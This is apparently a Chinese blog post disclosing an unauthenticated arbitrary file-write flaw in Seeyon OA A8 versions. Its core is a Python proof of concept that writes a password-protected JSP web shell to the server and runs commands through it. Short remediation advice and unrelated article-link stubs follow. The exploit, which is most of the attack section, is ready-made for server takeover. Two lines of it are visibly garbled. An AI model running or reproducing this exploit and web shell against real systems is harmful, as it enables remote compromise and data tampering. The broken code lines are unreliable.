近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件,写入成功后可执行任意系统命令进而控制目标服务器。

目前已知易受攻击的版本:

致远A8-V5协同管理软件 V6.1sp1
致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致远A8+协同管理软件 V7.1

如果成功利用此漏洞的攻击者可以在目标系统上写入任意文件,执行任意代码,更改或删除数据。

值得注意的是该系统的默认权限很高,如果被攻击者成功利用则可能会造成很大的危害。

验证是否存在漏洞的方法:访问URL /seeyon/htmlofficeservlet 出现如下内容可能存在漏洞

DBSTEP V3.0     0            21               0             htmoffice operate err

下面贴上一段野外poc:

该poc仅供学习研究,请勿破坏他人计算机!

Poc首先是加密写入文件的路径,然后再获取加密后的路径写入任意文件Getshell

python:

 #coding=utf-8
 import sys
 import requests

 def encode(origin_bytes):
     """
     重构 base64 编码函数
     """
     # 将每一位bytes转换为二进制字符串
     base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
     base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes]

     resp = ''
     nums = len(base64_bytes) // 3
     remain = len(base64_bytes) % 3

     integral_part = base64_bytes[0:3 * nums]
     while integral_part:
         # 取三个字节,以每6比特,转换为4个整数
         tmp_unit = ''.join(integral_part[0:3])
         tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
         # 取对应base64字符
         resp += ''.join([base64_charset[i] for i in tmp_unit])
         integral_part = integral_part[3:]

     if remain:
         # 补齐三个字节,每个字节补充 0000 0000
         remain_part = ' * 8
         # 取三个字节,以每6比特,转换为4个整数
         # 剩余1字节可构造2个base64字符,补充==;剩余2字节可构造3个base64字符,补充=
         tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
         resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='

     return resp
 def getshell(urls):
     url = urls + "/seeyon/htmlofficeservlet"
     headers = {
         "Pragma": "no-cache",
         "Cache-Control": "no-cache",
         ",
         "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
         "Accept-Language": "zh-CN,zh;q=0.9",
         "Connection": "close",
     }
     file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\checkload32.jsp')
     payload = """DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV\r
 OPTION=S3WYOSWLBSGr\r
 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r
 CREATEDATE=wUghPB3szB3Xwg66\r
 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r
 originalFileId=wV66\r
 originalCreateDate=wUghPB3szB3Xwg66\r
 FILENAME="""+file_name+"""\r
 needReadFile=yRWZdAS6\r
 originalCreateDate=wLSGP4oEzLKAz4=iz=66\r
 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("zs".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce"""
     requests.post(url=url,data=payload,headers=headers)
     result = requests.get(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd+/c+echo+ZuoShou_Jsp_Shell")
     if 'ZuoShou_Jsp_Shell' in result.text :
         print(u'Jsp:Getshell成功\t{}'.format(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd /c whoami"))
     else :
         print(u'Getshell失败')
 if __name__ == '__main__':
     if len(sys.argv)!=2 :
         print(u"\t\t用法:python poc.py 'http://loaclhost'")
     else:
         url = sys.argv[1]
         getshell(url)

修复方案:

1:对路径 /seeyon/htmlofficeservlet 进行限制访问

2:及时联系官网打补丁http://www.seeyon.com/Info/constant.html

致远A8任意文件写入漏洞_getshell_exp的更多相关文章

  1. ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088)

    ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088) 查看docker的activemq版本命令:$ docker ps | grep activemq927860512 ...

  2. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

  3. Aria2任意文件写入漏洞

    目录: 简介 漏洞描述 payload 漏洞复现 一.Aria2介绍 Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink), ...

  4. ActiveMQ任意文件写入漏洞(CVE-2016-3088)

    上传webshell 容器用vulhub的 PUT一个jsp文件 MOVE到api目录 默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/tes ...

  5. 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用PUT.MOVE等高危方法的ActiveM ...

  6. 74CMS 3.0任意文件写入漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...

  7. ActiveMQ反序列化(CVE-2015-5254) && ActiveMQ任意文件写入 (CVE-2016-3088)

    ActiveMQ 反序列化漏洞(CVE-2015-5254) 漏洞详情 ActiveMQ启动后,将监听61616和8161两个端口,其中消息在61616这个端口进行传递,使用ActiveMQ这个中间件 ...

  8. JeeCMS v7 SSRF导致任意文件写入

    前言: 学习大佬的思路. from先知社区:https://xz.aliyun.com/t/4809 00X1: 是/ueditor/getRemoteImage.jspx 接口 通过构造upfile ...

  9. 24.Windows任意文件读取漏洞

    漏洞概述: 近日,国外安全研究员SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC.这是2018年8月开始该研究员公布的第三个windows 0 day漏洞 ...

随机推荐

  1. Wrapped的返回值取值

    Bared   Wrapped   using Newtonsoft.Json; using Newtonsoft.Json.Linq; string str = JsonConvert.Serial ...

  2. JDK源码阅读——Vector实现

    1 继承结构图 Vector同样继承自AbstractList,与ArrayList.LinedList一样,是List的一种实现 2 数据结构 // 与ArrayList一样,也是使用对象数组保存元 ...

  3. 1 min 数据查询 SQL 优化

    问题 前几天线上数据库 IOPS 飙升,一直居高不下,最近并没有升级.遂查看数据库正在执行的 SQL 语句,发现有个查询离线设备的语句极其缓慢. 探寻原因 SELECT o.* FROM ( SELE ...

  4. WPF 列表样式

    <Window x:Class="CollectionBinding.MainWindow"        xmlns="http://schemas.micros ...

  5. GRPC 1.3.4 发布,Google 高性能 RPC 框架(Java C++ Go)

    GRPC 1.3.4 发布了,GRPC 是一个高性能.开源.通用的 RPC 框架,面向移动和 HTTP/2 设计,是由谷歌发布的首款基于 Protocol Buffers 的 RPC 框架. GRPC ...

  6. API HOOK介绍 【转】

    什么是“跨进程 API Hook”? 众所周知Windows应用程序的各种系统功能是通过调用API函数来实现.API Hook就是给系统的API附加上一段小程序,它能监视甚至控制应用程序对API函数的 ...

  7. Delphi调用爷爷类的方法(重新构造TMethod的data和code部分,其中Code指向祖父类的方法)

    Delphi通过inherited 可以调用父类的方法,但是没有提供直接调用父类的父类的方法(爷爷类),通过变通的方式实现如下: 假设父类是TFather,爷爷类TGrand,调用爷爷类的Write方 ...

  8. Webpack Waringing Critical dependencies

    报错信息如下: 出错原因先上图: 未注释部分使用了require的同时使用了es6的语法. 官方解释如下: 解决方法就是放开代码中的注释部分,不要使用es6语法

  9. c# RedisHelper

    使用redis组件如下,至于为什么使用3.9版本,是因为4.0开始商业了,限制了次数 ServiceStack.Common" version="3.9.70"Servi ...

  10. Dependency Injection 筆記 (4)

    续上集未完的相关设计模式... (本文摘自電子書:<.NET 依賴注入> Composite 模式 延续先前的电器比喻.现在,如果希望 UPS 不只接计算机,还要接电风扇.除湿机,可是 U ...